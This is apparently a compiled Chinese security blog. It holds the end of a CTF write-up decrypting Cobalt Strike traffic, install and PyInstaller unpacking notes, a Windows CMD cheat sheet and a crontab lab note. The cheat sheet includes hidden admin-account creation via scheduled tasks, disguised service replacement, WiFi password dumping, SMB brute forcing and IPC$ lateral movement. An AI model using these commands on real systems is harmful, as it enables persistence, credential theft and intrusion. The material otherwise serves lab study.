print(b64d('X4Y21k'[2:]))
print(b64d('0bY2QgL2QgIkQ6XFxwaHBzdHVkeV9wcm9cXFdXV1xcc2VjcmV0IiYiQzpcUHJvZ3JhbSBGaWxlc1w3LVppcFw3ei5leGUiIHggc2VjcmV0LnppcCAtcFA0VWs2cWtoNkd2cXdnM3kmZWNobyAzNzhkZjJjMjM0JmNkJmVjaG8gZmI3Zjhm'[2:]))

解压压缩包得到key，分解得到公私钥

PS：这里脚本分解可能会失败，不能安装javaobj库，需要安装的是javaobj-py3库

pip3 install javaobj-py3

解密只需要私钥即可，任意找到一个GET请求的心跳包，一般是/en_US/all.js路径

解密Cookie得到AES key和HMAC key

Beacon id:1515569398
pid:7956
port:0
barch:x86
is64:1
bypass:True
windows var:6.2
windows build:9200
host:192.168.132.138
PC name:DESKTOP-QQF0MLN
username:Administrator
process name:beacon.exe
AES key:7c83bf30a6ad2dc410040d33e1399cf6
HMAC key:a77945b3a56687a39f90683cb24d00c2
00000000: 00 00 BE EF 00 00 00 5B  B5 55 DE 5D CE 3B 9E 3E  .......[.U.].;.>
00000010: B4 B5 72 2F 6A A6 BC 85  A8 03 A8 03 5A 55 C0 F6  ..r/j.......ZU..
00000020: 00 00 1F 14 00 00 0C 06  02 23 F0 00 00 00 00 75  .........#.....u
00000030: 9A 16 D0 75 9A 05 A0 8A  84 A8 C0 44 45 53 4B 54  ...u.......DESKT
00000040: 4F 50 2D 51 51 46 30 4D  4C 4E 09 41 64 6D 69 6E  OP-QQF0MLN.Admin
00000050: 69 73 74 72 61 74 6F 72  09 62 65 61 63 6F 6E 2E  istrator.beacon.
00000060: 65 78 65                                          exe
None

有了所有的key，现在可以进行解密，对需要解密的数据还需进行最后一步处理，这里需要解密的内容路径是/submit.php

需要解密的数据-->原始数据-->hex-->base64

选择原始数据，数据是00000开头的内容

完善脚本，进行解密，若运行发现编码错误，可能是由于题目测试的文件夹路径是中文，这里直接将错误进行忽略：

print(de_data[4:dec_length].decode('utf-8', errors='ignore'))    # 第69行

好像是一个dir命令的回显，看到了flag目录，向下再找找

可以使用下列筛选器

http && frame contains "submit"

找最后一个数据流

得到flag{787fc697-8773-4669-84ad-94f714e7df09}

0x03 总结

上述整体为这次CS流量的简单分析和解密，当初并没有解开这道题目，几年过去再次拿出来分析还是有不少的收获。

lama-cleaner安装

Thu, 15 Sep 2022 15:21:00 GMT

1、更新pip

python3 -m pip install --upgrade pip

2、安装工具

pip install lama-cleaner

3、启动项目

lama-cleaner --model=lama --device=cpu --port=8888 --host=10.1.239.128

初次启动会安装github项目

注：
若需要代理，可在proxychains.conf中配置socks5代理
socks5 192.168.18.142 7890	//配置代理，vpn等均可

然后使用命令：
proxychains4 python3 -m pip install --upgrade pip
proxychains4 pip install lama-cleaner
proxychains4 lama-cleaner --model=lama --device=cpu --port=8888 --host=10.1.239.128

之后使用：
lama-cleaner --model=lama --device=cpu --port=8888 --host=10.1.239.128
开启即可

PS：docker启动

docker run -p 8080:8080 \
-v /path/to/torch_cache:/root/.cache/torch \
-v /path/to/huggingface_cache:/root/.cache/huggingface \
--rm cwq1913/lama-cleaner:cpu-0.26.1 \
lama-cleaner --device=cpu --port=8080 --host=0.0.0.0

docker run -p 8080:8080 -v /path/to/torch_cache:/root/.cache/torch -v /path/to/huggingface_cache:/root/.cache/huggingface --rm cwq1913/lama-cleaner:cpu-0.26.1 lama-cleaner --device=cpu --port=8080 --host=0.0.0.0

Pyinstaller打包exe进行解包

Wed, 24 Aug 2022 21:24:00 GMT

Pyinstaller打包exe进行解包

1、打包生成

pyinstaller -F 1.py

其中 参数 -F 是为了将程序打包为一个exe文件，而且不产生其他的文件
打包完成之后，本地会生成一个dist的文件夹，在这个文件夹里就有一个打包好的exe文件

单文件打包
pyinstaller --onefile --name=portscan port_scanner.py

2、解包

下载链接：https://sourceforge.net/projects/pyinstallerextractor/

pyinstxtractor 1.exe

3、找到源文件名和struct文件

pyinstaller在打包的时候，会将pyc文件的前8个字节清除，所以后期需要自己添加上去，前四个字节为python编译的版本，后四个字节为时间戳。（四个字节的magic number、四个字节的timestamp）

简单粗暴，可以使用：550D0D0A000000007079693010010000

4、保存为pyc文件

可以到在线平台进行反编译：https://tool.lu/pyc

有时候无法反编译成功，可以使用uncompyle6，但是此工具目前仅支持到3.9版本

pip install uncompyle6

uncompyle6 1.pyc

uncompyle6 1.pyc > 1.py

DOS命令

Sun, 21 Aug 2022 17:28:00 GMT

DOS命令

快捷键win+R，调出“运行”对话框，输入cmd(推荐) 或%comspec%打开，回车。
双击C:\Windows\System32\cmd.exe
资源管理器地址栏前面加上cmd +空格+ 路径

说明：①在没有特殊要求的场合下，字母的大小写并不影响命令的执行

②CMD窗口下，命令行是不支持换行的

③程序右键以管理员身份运行（获得最高权限）

一、基础命令

1、查看帮助

命令 /?

ver			#查看Microsoft windows版本号
exit		#退出终端
start		#启动一个单独的窗口运行指定的程序或命令

2、关机

（win2003 弹框不能取消，win7、10可以点×取消弹框，但别忘记取消定时关机）

C:\>shutdown -s -t 100 			# -s 代表要关机  -t 时间  代表过多久关机
C:\>shutdown -a					#取消一切定时
C:\>shutdown -s -f -t 100 -c "认命把，最后吃好点"     # -f 强制执行 -c 加字符串

3、文件、文件夹操作

#1\盘符切换 
盘符名+: （英文输入法）
d:

#2\查看当前目录下的所有文件
dir
   > dir/p          #分页查看             #这里的很实用的
   > dir/a          #查看所有文件包括隐藏文件   dir c:\windows /a 

tree	#以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称


#3\切换目录
cd   (chang directory)
cd+空格+/d+空格+盘符名+:   (/参数斜杠，/d参数实现跨盘符切换）
	> cd /d d:
cd+空格+/d+空格+盘符名+:\属目录  (\文件斜杠）
	> cd /d d:\soft
	> cd .		##当前目录
	> cd ..		##返回上一级目录
	> chdir		##显示当前目录名


#4\查看路径
chdir	显示当前目录名或改变当前目录。


#6\查看文件树
tree	以图形显示驱动器或路径的文件夹结构。
   /F   显示每个文件夹中文件的名称。
   /A   使用 ASCII 字符，而不使用扩展字符。


#5\清除屏幕
cls  （clear screen）


#6\文件、文件夹操作
创建目录：md+空格+目录名  （make directory）
删除目录：rd  （remove directory）
	>md  anban\1\2	 #新建目录
	>rd /s anban	 #删除多层目录   /s 递归删除  /q  不提示

创建文件：cd >+文件名+扩展名			# > 作为输出符号，为覆盖输出  >> 为追加输出
创建文件：echo hello > 文件名+扩展名
创建文件：dir >  文件名+扩展名
创建文件：copy con 文件名.扩展名       	#可输入多行，回车换行，ctl+c，然后回车 结束并保存编写

删除文件：del+空格+文件名+扩展名
	>del anban.txt       	 #删除指定文件  
	>del *.txt				#删除指定扩展名的文件  *为通配符，代表任意字符，任意长度
	>del *.*				#删除所有文件 

复制文件：copy  源文件路径 目标文件路径
移动文件：move  源文件路径 目标文件路径
重命名：ren 源文件名 新文件名

查看文件：type
	>type 文件名.扩展名 | more   #分页查看
	#回车下翻一行，空格翻页，ctrl+c退出
查找字符串：findstr	
	>findstr "Hello" aa.txt ##在aa.txt文件中寻找字符串hello
    
在文件中搜索字符串:find或findstr

除非参数有 /C 前缀，请使用空格隔开搜索字符串。
eg: FINDSTR "hello there" x.y' 在文件 x.y 中寻找 "hello" 或"there"
FINDSTR /C:"hello there" x.y' 文件 x.y  寻找"hello there"。

4、隐藏文件

attrib +s +h +a 文件名		#系统及隐藏

D:\studnet>attrib +h qinngshu.txt        #隐藏指定文件/夹

# +s 提升为受保护的系统级的文件/夹 +a 只读属性
D:\studnet>attrib +h +s +a qinngshu.txt

（win7，win10需要管理员运行cmd，win2003 可以直接cmd执行）

创建空文件并隐藏
fsutil file createnew 文件名 大小	#单位字节

C:\Windows\system32>fsutil file createnew c:\system.ini 5120000000 #单位字节5G
C:\Windows\system32>attrib +h +s +a c:\system.ini

5、NTFS权限

常见的文件系统：
FAT  	#windows FAT32  ExFAT
NTFS	#windows  
EXT 	#linx ext2/3/4，btrfs

FAT32转NTFS：
convert d: /fs:ntfs		###其中d: 要转换的盘符

文件夹权限详情介绍:

文件夹权限		#文件夹权限内容

完全控制		 #拥有对文件夹读取、写入、修改、删除文件、及特殊权限
修改		  	  #拥有对文件夹及文件读取、写入、修改、删除的权限
读取和执行		#拥有对文件夹中的文件下载、读取、及执行的权限
列出文件夹内容	   #可以列出文件夹的内容
读取			  #拥有对文件夹中的文件下载、读取的权限
写入			  #拥有在文件夹内创建新文件的权限
特殊权限	     #控制文件权限列表的权限

cacls.exe工具：

cacls /?    查看帮助
cacls xxx /t /e /c /g xgk:f    ## 赋予用户xgk对xxx目录及子目录完全控制权
cacls xxx /t /e /c /p xgk:r	   ##替换用户访问权限
cacls xxx /t /e /c /r xgk	   ##撤销用户访问权限
cacls xxx /t /e /c /d xgk	   ##拒绝用户xgk对xxx目录及子目录访问

icacls.exe工具：
icacls是cacls的加强版，能够存储acl列表到文件做备份

icacls /?    查看帮助

takeown		#该工具以重新分配文件所有权的方式允许管理员重新获取先前被拒绝访问的文件访问权。

二、用户管理

1、命令行操作账户

net user					#查看所有的用户名
net user 用户名			#查看指定用户的详细信息
net user 用户名  密码		#修改用户密码，只有管理员可使用此命令
net user  用户名  密码 /add  #新建账户
net user  用户名  密码 /delete  #删除账户
net user  用户名 /active:yes  # 激活用户
net user  用户名 /active:no  # 禁用用户

query user   查看当前在线用户

2、组管理命令

net localgroup					#查看组列表
net localgroup 组名			  #查看指定组信息
net localgroup 组名 /add		  #新增组
net localgroup 组名 /del		  #删除组
net localgroup 组名 用户名 /add	#经指定用户加入组中
net localgroup 组名 用户名 /del	#经指定用户从组中删除

三、网络命令

1、查看电脑的ip

ipconfig

ipconfig /all                  ##显示详细信息
ipconfig /renew                ##更新所有适配器
ipconfig /release         		##释放指定适配器的 IPv4 地址。
ipconfig /displaydns      		##显示 DNS 解析程序缓存的内容。
ipconfig /flushdns        		##清除 DNS 解析程序缓存。

2、ping 命令

#用来检测网络的连通情况和分析网络速度；
#根据域名得到服务器IP；
#根据ping返回的TTL值来判断对方所使用的操作系统及数据包经过路由器数量。
#如ping www.baibu.com

    -t             #持续Ping 指定的主机，直到停止若要停止，请键入 Ctrl+C。               
    -n count       #要发送的回显请求数。
    -l size        #发送缓冲区大小。
    -f             #在数据包中设置“不分段”标记(仅适用于 IPv4)。
    -i TTL         #生存时间。

3、arp命令

arp -a  			#显示静态项   

arp -s 157.55.85.212   00-aa-00-62-c6-09 ##添加静态项。

4、nslookup命令

#查询DNS的记录，查看域名解析是否正常，在网络故障的时候用来诊断网络问题,可指定dns服务器

nslookup www.baidu.com
nslookup -qt=a www.baidu.com 8.8.8.8   ##指定解析的域名服务器

5、tracert

##路由追踪命令

tracert -参数 ip(或计算机名) 	#跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。
tracert www.baidu.com

6、netsh命令

##windows查看曾经连接过的WiFi密码（win10测试）
netsh wlan show profiles							#查看所有连接过的无线网络名称
netsh wlan show profiles 无线名称 key=clear				#查看无线网络名称、密码

############循环脚本###################
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do  @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear

四、进程与线程、端口与服务

1、查看进程

tasklist
#该工具显示在本地或远程机器上当前运行的进程列表


##关闭进程命令
taskkill /pid 14396 -t -f		  #杀死PID对应的服务(-f 用来强制执行)

tskill PID
tskill 进程名		#杀死进程

ntsd -c q -p pid 		##用户态进程调试工具,可终止进程等

wmic process where name="explorer.exe" call terminate

2、查看TCP/IP连接

netstat
##显示协议统计信息和当前 TCP/IP 网络连接。
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况，常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况）
netstat -s 查看正在使用的所有协议使用情况
netstat -ano |findstr "端口号"		#端口的占用情况
netstat -ano | findstr "PID值"	 #查看PID对应的服务


#nbtstst
#显示协议统计和当前使用 NBI 的 TCP/IP 连接
nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写
eg:nbtstat -A 192.168.1.42  列出指定IP地址的远程机器的名称表。

##通过端口查对应的进程和服务：

netstat -ano 端口 |find "端口"		#得到PID
tasklist |find "PID"		#查询到对应的进程

可以在任务管理器或第三方进程工具procexp中查看对应的服务

3、sc命令

##是用来与服务控制管理器和服务进行通信
用法:
	sc <server> [command] [service name] <option1> <option2>...
	 query -----------查询服务的状态，
	 start -----------启动服务。
	 create ----------创建服务(并将其添加到注册表中)。
	 delete ----------(从注册表中)删除服务。

sc config 服务名 start auto	#在注册表中修改为自启

#替换服务：
1、先找一个目标服务
比如：BITS服务，删除对系统正常运行影响不大
2、命令行删除服务：
sc delete BITS		#命令行删除服务
3、执行：
sc create BITS binpath= "C:\WINDOWS\system32\xgk.exe" type= share start= auto displayname= "Background Intelligent Transfer Service"
4、添加描述：
sc description BITS "使用空闲网络带宽在后台传送文件。如果该服务被禁用，则依赖于 BITS 的任何应用程序(如 Windows 更新或 MSN Explorer)将无法自动下载程序和其他信息。"


#关闭服务

五、定时

1、at命令

##不太好用，有时候调不起来
#创建：
at 22:30 shutdown -s 		#在今天 22:30 关闭计算机
at 16:20 /every:Monday "C:\Users\Administrator\Desktop\mkdir.bat" 		#每周一16:20运行脚本

#查看：
at 			#查看所有的计划任务
at id号 		#开启已注册的某个计划任务

#删除：
at /delete 		#停止所有计划任务，用参数/yes则不需要确认就直接停止
at id号 /delete  #停止某个已注册的计划任务

2、schtasks命令

/tn TaskName：指定任务的名称
/tr TaskRun：指定任务运行的程序或命令。键入可执行文件、脚本文件或批处理文件的完全合格的路径和文件名。如果忽略该路径，SchTasks.exe 将假定文件在Systemroot\System32 目录下。
/sc schedule：指定计划类型。有效值为 MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY、ONCE、ONSTART、ONLOGON、ONIDLE。


#例如：指定时间运行
schtasks /create /sc ONCE /st 15:16 /tr c:\123.bat  /tn test1	##指定时间运行脚本
schtasks /create /sc minute /mo 1  /tr calc.exe /tn test		##指定周期运行程序
#参数详解：
/create   创建任务
/st startTime   以 HH:MM:SS 24 小时格式指定时间。默认值是命令完成时的当前本地时间。/st 参数只对于 MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY 和 ONCE 计划有效。它只对于 ONCE 计划是必需的。


#例如：查看指定任务
schtasks /Query /tn test

#例如：删除指定任务
schtasks /Delete /TN 任务名称 /F


schtasks /create /sc ONCE /st 12:22 /tr "net user test$ 168753294Qq /add"  /tn test2
schtasks /create /sc ONCE /st 12:23 /tr "net localgroup administrators test /add"  /tn test3

六、系统命令

1、文件关联性

assoc	#显示或修改文件扩展名关联
  .ext      指定跟文件类型关联的文件扩展名
  fileType  指定跟文件扩展名关联的文件类型

C:\>assoc                  #键入 ASSOC 而不带参数，显示当前文件关联
C:\>assoc .txt=exefile
.txt=exefile

C:\>assoc .txt=txtfile
.txt=txtfile

#在设置中也可以修改文件类型的默认打开方式

2、systeminfo

##Systeminfo（命令行）显示关于计算机及其操作系统的详细配置信息，包括操作系统配置、安全信息、产品 ID 和硬件属性，如 RAM、磁盘空间和网卡。

systeminfo > C:\Users\lym\Desktop\123.txt

systeminfo 可以获取一部分补丁安装信息

3、wmic

##wmic和cmd一样在所有的windows版本中都存在，同时wmic有很多cmd下不方便使用的部分

#在powershell也可以和cmd命令行一样的操作。
wmic /?		#显示全局开关和别名语法（win10提示弃用，微软将来可能停用该命令，替代品powershell中的Get-WmiObject）  

##以进程为例展示用法
wmic process /?	#进程管理
wmic process get caption,executablepath,processid	#获取系统当前正在运行的进程信息
wmic service where (state="running") get caption,name,startmode	#获取正在运行的服务列表

wmic product get name #系统安装软件情况
wmic environment get Description,VariableValue	#系统环境变量
wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles/format:list	#枚举目标系统信息，主机、域名、制造商及设备型号等
wmic sysdriver get Caption,name,pathname,ServiceType,State,Status /format:list	#枚举驱动名称、路径和服务类型

wmic /node:ip /user:用户名 process		#远程查看主机的进程，需要打开RPC

#WMI利用实例：
1）利用WMIC列出远程计算机上所有进程
WMIC /node:192.168.1.2 /user:administrator process
2）利用WMIC关闭远程程序
wmic /node:192.168.168.129 /user:administrator process where name="explorer.exe" call terminate
###注意explorer.exe有守护进程，基于进程关闭，一会还会重新启动
3）利用WMIC启停服务
wmic service		##获取所有服务  wmic service list brief|more 避免排版乱
wmic service where /?		##WMI WQL 查询功能帮助
wmic service where "caption = 'Windows Time'" call stopService	#关闭服务win2003
wmic service where "caption = 'Windows Update'" call stopService  #关闭服务win10
wmic service where "caption = 'Windows Update'" call startService  #开启服务

wmic qfe list full /format:table > d:\qfe.txt
wmic qfe list full /format:htable > d:\qfe.html		#快速修复工程

4、Get-Wmiobject

##注意：此命令在powershell中用

#Get-WmiObject和wmic相比，可以说是一个升级版
Get-Wmiobject -list   #获取windows上支持哪些WMI类
Get-Wmiobject -class win32_process	#本地计算机获取进程

5、cscript

#脚本运行命令
cscript ok.vbs

6、记录cmd操作命令

doskey /history

7、常见系统命令

当我们的windows2003服务器上超出最大连接数以后，我们除了重启服务器外，还有一个最好的方法就是使用/console 控制台方式开启远程：mstsc /console /v:IP:终端端口当我们加了这个参数以后，会自动的踢掉其中一个用户，并允许你登录。当远程服务器并没有超出最大连接时，它判断服务器本地是否登陆在桌面，如果登录，则锁定本地登录，桌面被console占用，如果没有登录就开启个本地登录一样的窗口。

1、查询用户
query user   					#快速查看当前在线用户
logoff 回话ID 				# 上个命令的回话ID，快速踢掉用户
query process&query session  ##快速查看进程和会话

2、关闭程序或服务
net stop  服务名			##停止服务 或者  sc stop

3、行关闭进程
方法一：
tskill命令,可与tasklist（显示当前进程命令）参照使用。
命令格式:TSKILL processid | processname [/SERVER:servername] [/ID:sessionid | /A] [/V]

方法二：
taskkill命令，主要的好处是带很多筛选器,可以批量结束进程

方法三：
ntsd 命令 
有一些高优先级的进程,tskill和taskkill可能无法结束,可以用系统调试工具ntsd,除了WINDOWS系统自己的管理进程,绝大多数进程ntsd都可以Kill掉，因为功能强大，所以定义为系统管理员级的工具，要小心使用.

命令格式:ntsd -c q -p pid 		##用户态进程调试工具,可终止进程等
命令范例: ntsd -c q -p 1332 (结束PID为1332的explorer.exe进程)
		

4、文件属性、查看与文件共享
attrib     				 ##显示设置文件属性
dir /S  			##显示当前目录及子目录下所有文件
dir /a				##查看文件包括隐藏文件
dir /p  			##分页查看
del 				##删除文件
rd  				##删除文件夹
net share 					##查看共享

8、DEP

如何确认硬件 DEP 在 Windows

##方法一：wmic 命令查看

#如果输出为"TRUE"，则硬件强制 DEP 可用
wmic OS Get DataExecutionPrevention_Available  

#若要确定当前的 DEP 支持策略。
wmic OS Get DataExecutionPrevention_SupportPolicy 
返回的值将为 0、1、2 或 3。 此值对应于下表中所述的 DEP 支持策略之一。

开启与关闭DEP

##在cmd中直接执行bcdedit命令，查看当前的启动配置，最后一行nx OptIn,表示DEP保护级别为1；若显示为OptOut则表示保护级别为2。

##注意执行命令要 以管理员权限运行cmd
bcdedit /set nx alwaysoff     ##关闭DEP，需重启计算机
bcdedit /set nx alwayson	  ##开启DEP，需重启计算机

七、注册表

注册表是计算机中最重要的一个数据库，包含存储了系统和应用程序的设置信息。

1、IPC$实验：

##环境 win7连win2k3（win10默认smb版本过高）
##注意：需要知道对方ip地址、管理员账户和密码且该端口服务正常开放。

1、建立IPC$通道
命令 net use \\ip\ipc$ "passwd" /user:"name"
2、查看远程主机共享的资源，即目标文件、文件夹右键属性共享出来的
命令 net view \\ip
3、查看目标服务器时间
命令 net time \\ip
4、查看远程主机的NetBIOS用户类别
命令  nbtstat -A ip
5、映射网络驱动器
命令 net use z: \\ip\c$
断开映射命令  net use z: /del
6、删除IPC$通道
命令 net use \\ip\ipc$ /del
7、上传文件,将本地c盘下3389.txt传到对方c盘根目录下
命令 copy c:\3389.txt  \\ip\c$

2、reg命令

reg /?					##常用的reg add 和reg delete
reg add /?
reg delete /?

语法：
REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]
        [/reg:32 | /reg:64]

添加命令：reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Command Processor" /v "123" /f

--Keyname:键名
--所选根键直接子健的完整名字 /v "valuename",
想注册表中加入新键值的名称，如果包含空格，使用引号 /ve
--v 所选项之下要添加的值名
--加入空键值名称 /t type
--/f允许覆盖现存的注册表项
--/d Data向注册表中指定键赋值

删除命令：reg delete "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Command Processor" /v "AutoRun" /f

eg：关闭135端口：
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Internet" /f

reg的其他参数

REG EXPORT /?		将注册表导出到本地文件，仅适用本地计算机
REG IMPORT /?      将注册表文件导入到计算机，仅适用本地计算机

REG LOAD /?       从备份注册表中临时载入指定键值。

REG QUERY /?    查询项目信息
REG RESTORE /?   恢复注册表

##注销相关ocx文件并设置权限
regsvr32 /u C:\WINDOWS\system32\wshom.ocx
--或者 不带 /u参数重新注册
regsvr32  C:\WINDOWS\system32\wshom.ocx


禁用Guest用户使用shell32.shell来防止调用此组件
cacls C:\WINDOWS\system32\wshom.ocx /e /d guests

八、环境变量

#set
#显示、设置或删除 cmd.exe 环境变量。
SET [variable=[string]]
  variable  指定环境变量名。
  string    指定要指派给变量的一系列字符串。
  
set 显示当前所有的环境变量


path  路径可执行文件的文件名 为可执行文件设置一个路径。

系统变量

##不区分大小写
%USERPROFILE% 			C:\Documents and Settings\当前用户名 
%HOMEPATH% 				C:\Documents and Settings\当前用户名 
%SYSTEMROOT% 			C:\WINDOWS 
%WINDIR% 				C:\WINDOWS 
%ComSpec% 				C:\WINDOWS\System32\cmd.exe 
%APPDATA% 				C:\Documents and Settings\当前用户名\Application Data 
%TEMP% 和 %TMP% 			C:\Documents and Settings\当前用户名\Local Settings\Temp 
%ProgramFiles% 			C:\Program Files 
%CommonProgramFiles% 	C:\Program Files\Common Files

用户软件命令

##打开应用，cmd中或者运行中均可执行
计算器：calc
记事本:notepad 
画图工具:mspaint
DVD播放器：dvdplay
资源管理器：explorer
任务管理器： taskmgr
打开注册表：regedit
打开服务：services.msc
打开本地组策略编辑器：gpedit.msc

九、磁盘分区

如果不是用强制保护参数设置，则无法删除受保护的分区

win+r输入diskpart出现磁盘管理运行窗口

或使用cmd直接输入diskpart

DISKPART> list disk

  磁盘 ###  状态           大小     可用     Dyn  Gpt
  --------  -------------  -------  -------  ---  ---
  磁盘 0    联机              476 GB  2048 KB        *
  磁盘 1    联机              931 GB      0 B

DISKPART> select disk 0

磁盘 0 现在是所选磁盘。

DISKPART> list part

  分区 ###       类型              大小     偏移量
  -------------  ----------------  -------  -------
  分区      1    系统                 260 MB  1024 KB
  分区      2    保留                  16 MB   261 MB
  分区      3    主要                 150 GB   277 MB
  分区      4    主要                 200 GB   150 GB
  分区      5    主要                 126 GB   350 GB

DISKPART> select part 1

分区 0 现在是所选分区。

DISKPART> delete part

DiskPart 成功地删除了所选分区。

DISKPART> select part 0

指定的分区无效。请选择一个有效分区。

没有选择分区。

DISKPART> select part 2

分区 1 现在是所选分区。

DISKPART> delete part

虚拟磁盘服务错误:如果不使用强制保护参数设置，则无法删除受保护的分区。

DISKPART> delete part override

DiskPart 成功地删除了所选分区。

DISKPART> list part

这个磁盘上没有显示的分区。

DISKPART> exit

退出 DiskPart...

十、powershell&cmd

区别：

最浅显的区别就是：CMD写的BAT脚本我们看作是面向过程的，直白点说就是你是从计算机执行的流程来编写脚本的。而PowerShell则是面向对象的,是一种站在使用者的角度进行脚本的编写.

功能上：

CMD只能执行基本的任务，本身并没有集成太多的功能,大多依赖于第三方的程序,比如PING命令，其实是一个单独的应用程序，而不是CMD本身的一条命令。

PowerShell因为是基于.NET面向对象的,而且本身就内置了非常多的命令。使得它不管从功能上还是性能上都要比CMD要强大得多。

总结：CMD能办的事,PowerShell基本都就能办，但PowerShell能办的事,CMD遥不可及。

目前唯一CMD比PowerShell强的一点就是所有版本的Windows中都自带有CMD，包括XP和2003这些很老的操作系统。

工具类

1、smbcrack2

smbcrack2 -i 192.168.168.129 -u user.txt -p pass.txt -P 1

##  smbcrack2.exe  -h   查看帮助

2、dumpel

dumpel -e 529 -f ok.txt -l security -m security -t

-e 事件id nn的e nn过滤器（最多可指定10个）
-f file输出文件名（默认标准输出）
-l <name>转储指定的日志（system, application, security）
-m<name>筛选按名称记录的事件
-t使用制表符分隔字符串（默认值为空格）

3、IPseccmd

IPseccmd的命令解析：
常用参数：
-w reg 表明将配置写入注册表，重启仍有效
-p 指定策略名称，若存在将规则加入此策略，否则新建
-r 制定规则名
-n 指定操作 可以是BLOCK、PASS或者INPASS必须大写
-x 激活该策略
-y 使之无效
-0 删除-p指定的策略


高级参数
-f 设置过滤规则  格式如下：
A.B.C.D/mask:port=A.B.C.D/mask:port:protocol
其中=号前是源地址，后是目的地址。如果用+表示规则是双向的；如果ip地址用*表示任意IP地址；0代表我自己的IP地址。还可使用通配符例如： 144.92.*.*等效于 144.92.0.0/255.255.0.0

+ 表示双向

* 表示所有ip地址
  0 表示自己的ip

--  禁止以任何协议访问某IP的任意端口
ipseccmd -w REG -p "clxp safe policy1" -r "disable connect ip" -f 0/255.255.255.255=202.108.22.5/255.255.255.255:: -n BLOCK -x

含义：名称为clxp safe policy的策略，添加名为disable connect ip的规则，写入注册表
对象：我的ip和202.108.22.5
端口：全部
协议：全部
筛选器操作：禁止访问
作用：202.108.22.5是百度的ip地址，此规则以我任意ip都不能访问这个百度地址。

-- 禁PING
ipseccmd -w REG -p "clxp safe policy" -r "disable out ping" -f *=0::icmp -n BLOCK -x

4、Sysinternals Suite

微软Sysinternals Suite免费工具包

- AccessEnum.exe    ##扫描文件权限
- autoruns.exe    	##各种随机启动、驱动、映像劫持
- EFSDump.exe    		##查找efs加密文件
- procexp.exe   Tcpvcon.exe    ##查看进程
- Procmon.exe  ##实时监控文件系统、注册表、进程、线程、DLL活动
- Psfile	##查看远程打开的文件，IPC$ 或者rdp连接的
- PsGetSid	## 显示计算机或用户的SID
- PsInfo	##获取有关系统的信息
- PsService	##查看和控制服务 类似 sc query
- Rootkitrevealer.exe	##扫描系统以找到基于 Rootkit 的恶意软件
- shareEnum	##扫描网络上的文件共享并查看安全设置
- Tcpview.exe	##活动套接字查看器

骚命令

信息收集

for /r C:\ %i in (xxx.aspx) do echo %i> %i\..\path1.txt

定时任务

Fri, 05 Aug 2022 19:44:00 GMT

定时任务

一、实验问题：

1、Ubuntu 20 以上版本无法直接使用root登录：（初始化环境，root无密码）

（1）设置root密码（如果设置过，此步可免）

sudo passwd root
新密码
再输入新密码

（2）修改配置文件1

sudo vim /usr/share/lightdm/lightdm.conf.d/50-ubuntu.conf

文件末尾添加：
greeter-show-manual-login=true
all-guest=false

（3）修改配置文件2

sudo vim /etc/pam.d/gdm-autologin

将第三行注释掉
#auth   required        pam_succeed_if.so user != root quiet_success

（4）修改配置文件3

sudo vim /etc/pam.d/gdm-password

将第三行注释掉
#auth   required        pam_succeed_if.so user != root quiet_success

（5）修改配置文件4

sudo vim /root/.profile

将文件末尾的 mesg n 2> /dev/null || true 这一行修改成
tty -s&&mesg n || true

2、/etc/crontab的作用？

这个crontab其实就相当于一个公共计划任务列表，因此比普通的计划任务要多个 name 字段。

3、crontab -u root -e 实际的计划任务位置在哪里？

vim /var/spool/cron/crontabs/root	#root用户
vim /var/spool/cron/crontabs/a		#a用户

crontab -u root -r					#清除root所有计划任务
crontab -u root -e					#编辑root计划任务

这个位置的计划任务才是最重要的！！！

4、计划任务无法执行

（1）查看cron日志（排查错误）

vim /var/log/cron.log

发现报错信息：

No MTA installed, discarding output

原因：cron把屏幕输出都发送到email了，而当前环境并未安装email server，于是系统报错。

（2）安装email服务器

sudo apt-get install postfix

安装这个的时候，出现了当时安装mysql的那种页面，需要下翻页面，然后使用上下左右键选中OK，回车即可。

（3）/var/mail/ 目录错误排查

安装完邮件服务器后，我继续在/var/log/cron.log查看日志信息，这时已经不报错了，但是还是无法反弹shell。

vim /var/mail/root

查看报错信息：（文件权问题，本次使用定时任务执行 shell 脚本）

/bin/sh: 1: /etc/crontabshell: Permission denied

将目标文件权限修改为777即可。

chmod 777 /etc/crontabshell

更多细节请看：https://blog.csdn.net/weixin_47608789/article/details/122762609

二、定时任务基础

1、基础命令：

##如果是CentOS则是crond
systemctl status cron （查看状态）	#查看计划任务是否正常运行

###如果没有，如下安装设置
apt install cron（安装 cron）
systemctl start cron（启动crond服务）
systemctl enable cron （设为开机启动）

##基础命令
##查看cron是否开启（CentOS是crond）
service cron status 
systemctl status cron.service

##开启cron
service cron start
systemctl start cron.service

##关闭
service cron stop 
systemctl stop cron.service

##重启cron
service cron restart
service cron reload
systemctl restart cron.service

2、常用参数

位置：/usr/bin/crontab

常用参数：
-e : 执行文字编辑器来设定时程表，vim /etc/crontab # vi打开并编辑也可以
-u user 设定指定 user 的时程表，如果不使用 -u user ，默认设定自己的时程表
-r : 删除目前的时程表
-l : 列出目前的时程表

crontab /etc/crontab   # 生效  (vi 命令新增定时任务时，需要执行)

3、开启日志

（1）修改配置文件（取消cron的注释）

vim  /etc/rsyslog.d/50-default.conf

（2）重启rsyslog服务：日志服务

service rsyslog restart

（3）重启cron服务：定时任务服务

service cron restart

4、设置定时任务格式

f1 	 f2	  f3   f4	f5   comment（命令）

*    *    *    *    *
-    -    -    -    -
|    |    |    |    |
|    |    |    |    +----- 星期中星期几 (0 - 7) (星期天为0或7)
|    |    |    +---------- 月份 (1 - 12) 
|    |    +--------------- 一个月中的第几天 (1 - 31)
